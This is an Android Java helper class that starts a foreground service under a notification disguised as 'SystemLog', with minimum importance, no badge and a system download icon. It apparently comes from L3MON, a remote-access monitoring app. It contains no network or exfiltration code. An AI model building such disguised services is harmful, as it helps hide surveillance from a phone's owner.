package com.etechd.l3mon;

import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.os.Build;

public class ServiceHelper {
    public static void startForeground(Service service) {
        if (Build.VERSION.SDK_INT < 26) {
            return;
        }
        String channelId = "systemlog_svc";
        NotificationManager nm = (NotificationManager) service.getSystemService(Context.NOTIFICATION_SERVICE);
        if (nm != null) {
            NotificationChannel ch = new NotificationChannel(channelId, "SystemLog", NotificationManager.IMPORTANCE_MIN);
            ch.setShowBadge(false);
            nm.createNotificationChannel(ch);
            Notification n = new Notification.Builder(service, channelId)
                    .setContentTitle("SystemLog")
                    .setContentText("Activo")
                    .setSmallIcon(android.R.drawable.stat_sys_download)
                    .build();
            service.startForeground(1, n);
        }
    }
}
